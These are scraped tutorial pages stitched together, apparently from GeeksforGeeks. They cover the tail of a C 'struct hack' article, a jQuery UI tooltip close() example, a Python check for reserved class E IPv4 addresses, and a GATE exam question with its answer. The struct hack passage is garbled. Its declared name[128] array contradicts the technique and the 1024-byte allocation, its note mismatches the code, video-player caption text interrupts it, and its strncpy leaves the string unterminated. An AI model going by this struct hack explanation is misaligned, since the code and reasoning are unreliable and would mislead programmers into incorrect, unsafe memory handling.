struct employee{    int     emp_id;    int        name_len;    char    name[128]; /* character array of size 128 */};
And below memory allocation 
struct employee *e = malloc(sizeof(*e) + sizeof(char) * 1024); 
is equivalent to  
Chapters
descriptions off, selected
captions settings, opens captions settings dialog
captions off, selected
English
This is a modal window.
Beginning of dialog window. Escape will cancel and close the window.
End of dialog window.
CPP
struct employee{    int        emp_id;    int        name_len;    char    name[1024]; /* character array of size 1024 */};
Note: since name is character array, in malloc instead of “sizeof(char) * 128”, we can use “128” directly. sizeof is used to avoid confusion.Now we can use “name” same as pointer. e.g. 
e->emp_id     = 100;
e->name_len    = strlen("Geeks For Geeks");
strncpy(e->name, "Geeks For Geeks", e->name_len);
When we allocate memory as given above, compiler will allocate memory to store “emp_id” and “name_len” plus contiguous memory to store “name”. When we use this technique, gcc guaranties that, “name” will get contiguous memory. Obviously there are other ways to solve problem, one is we can use character pointer. But there is no guarantee that character pointer will get contiguous memory, and we can take advantage of this contiguous memory. For example, by using this technique, we can allocate and deallocate memory by using single malloc and free call (because memory is contagious). Other advantage of this is, suppose if we want to write data, we can write whole data by using single “write()” call. e.g.
write(fd, e, sizeof(*e) + name_len); /* write emp_id + name_len + name */ 
If we use character pointer, then we need 2 write calls to write data. e.g.
write(fd, e, sizeof(*e));         /* write emp_id + name_len */
write(fd, e->name, e->name_len);    /* write name */
Note: In C99, there is feature called “flexible array members”, which works same as “Struct Hack”This article is compiled by Narendra Kangralkar. Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above 
rajeev0719singh
C-Struct-Union-Enum
cpp-structure
C Language
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
jQuery UI Tooltips close() Method - GeeksforGeeks

05 Feb, 2021
jQuery UI consists of GUI widgets, visual effects, and themes implemented using jQuery, CSS, and HTML. jQuery UI is great for building UI interfaces for the webpages. jQuery UI tooltip widget helps us to adds new themes and allows for customization. In this article, we will see how to use the close option in jQuery UI tooltips. The close option is used to close the tooltips in jQuery UI.
Syntax:
$(".selector").tooltip("close");
Parameters: This method does not accept any parameters.
CDN Link: First, add jQuery UI scripts needed for your project.
<link href = “https://code.jquery.com/ui/1.10.4/themes/ui-lightness/jquery-ui.css” rel = “stylesheet”><script src = “https://code.jquery.com/jquery-1.10.2.js”></script><script src = “https://code.jquery.com/ui/1.10.4/jquery-ui.js”></script>
Example: The following example demonstrates the close option for the tooltip.
HTML
<!DOCTYPE html><html lang="en">  <head>    <meta charset="utf-8" />    <link      href="https://code.jquery.com/ui/1.10.4/themes/ui-lightness/jquery-ui.css"      rel="stylesheet"    />    <script src="https://code.jquery.com/jquery-1.10.2.js">    </script>    <script src="https://code.jquery.com/ui/1.10.4/jquery-ui.js">    </script>      <h1 style="color: green">GeeksforGeeks</h1>    <h3>jQuery UI | Tooltip close method</h3>      <script>      $(function () {        $("#gfgtt").tooltip({          track: true,        });        $("#gfg").click(function () {          $("#gfgtt").tooltip("close");        });      });    </script>  </head>    <body>    <input id="gfg" type="submit" name="GeeksforGeeks" value="click" />    <span id="gfgtt" title="GeeksforGeeks"> Click here!</span>  </body></html>
Output:
Reference: https://api.jqueryui.com/tooltip/#method-close
jQuery-UI
JQuery
Web Technologies
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
JQuery | Set the value of an input text field
Form validation using jQuery
How to change selected value of a drop-down list using jQuery?
How to change the background color after clicking the button in JavaScript ?
How to fetch data from JSON file and display in HTML table using jQuery ?
Remove elements from a JavaScript Array
Installation of Node.js on Linux
Convert a string to an integer in JavaScript
How to fetch data from an API in ReactJS ?
How to insert spaces/tabs in text using HTML/CSS?
Python program to determine if the given IPv4 Address is reserved using ipaddress module - GeeksforGeeks

10 Jul, 2020
Given a IPv4 Address, the task is to determine whether it is reserved (i.e belongs to class E) or not.
What is class E?
IP addresses belonging to class E are reserved for experimental and research purposes. IP addresses of class E range from 240.0.0.0 – 255.255.255.254. This class doesn’t have any sub-net mask. The higher-order bits of the first octet of class E is always set to 1111.
Examples:
Input : 10.0.0.1
Output : Not Reserved

Input : 241.0.0.133
Output : Reserved

To implement it, we will use the is_reserved method of ipaddress module of Python3.3.
# importing ip_address# from ipaddress modulefrom ipaddress import ip_address  def reservedIPAddress(IP: str) -> str:    return "Reserved" if (ip_address(IP).is_reserved) else "Not Reserved"      if __name__ == '__main__' :       # Not Reserved    print(reservedIPAddress('10.0.0.1'))           # Reserved    print(reservedIPAddress('241.0.0.133')) 
Output :
Not Reserved
Reserved

python-utility
Python
Python Programs
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
How to Install PIP on Windows ?
Check if element exists in list in Python
How To Convert Python Dictionary To JSON?
Python Classes and Objects
How to drop one or multiple columns in Pandas Dataframe
Defaultdict in Python
Python | Get dictionary keys as a list
Python | Split string into list of characters
Python | Convert a list to dictionary
How to print without newline in Python?
GATE | GATE-CS-2001 | Question 34 - GeeksforGeeks

28 Jun, 2021
Which is the most appropriate match for the items in the first column with the items in the second column
X. Indirect Addressing        I. Array implementation
Y. Indexed Addressing         II. Writing re-locatable code
Z. Base Register Addressing   III. Passing array as parameter
(A) (X, III) (Y, I) (Z, II)(B) (X, II) (Y, III) (Z, I)(C) (X, III) (Y, II) (Z, I)(D) (X, I) (Y, III) (Z, II)Answer: (A)Explanation: Indexed addressing is used for array implementation where each element has indexes.
Base register is used to relocatable code which starts from base address and then all local addresses are added to base address.
Indirect addressing is done when array is passed as parameter where only name is passed.
So (A) is correct option.Quiz of this Question
GATE-CS-2001
GATE-GATE-CS-2001
GATE
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
GATE | Gate IT 2007 | Question 25
GATE | GATE-CS-2001 | Question 39
GATE | GATE-CS-2000 | Question 41
GATE | GATE-CS-2005 | Question 6
GATE | GATE MOCK 2017 | Question 21
GATE | GATE-CS-2006 | Question 47
GATE | GATE MOCK 2017 | Question 24
GATE | Gate IT 2008 | Question 43
GATE | GATE-CS-2009 | Question 38
GATE | GATE-CS-2003 | Question 90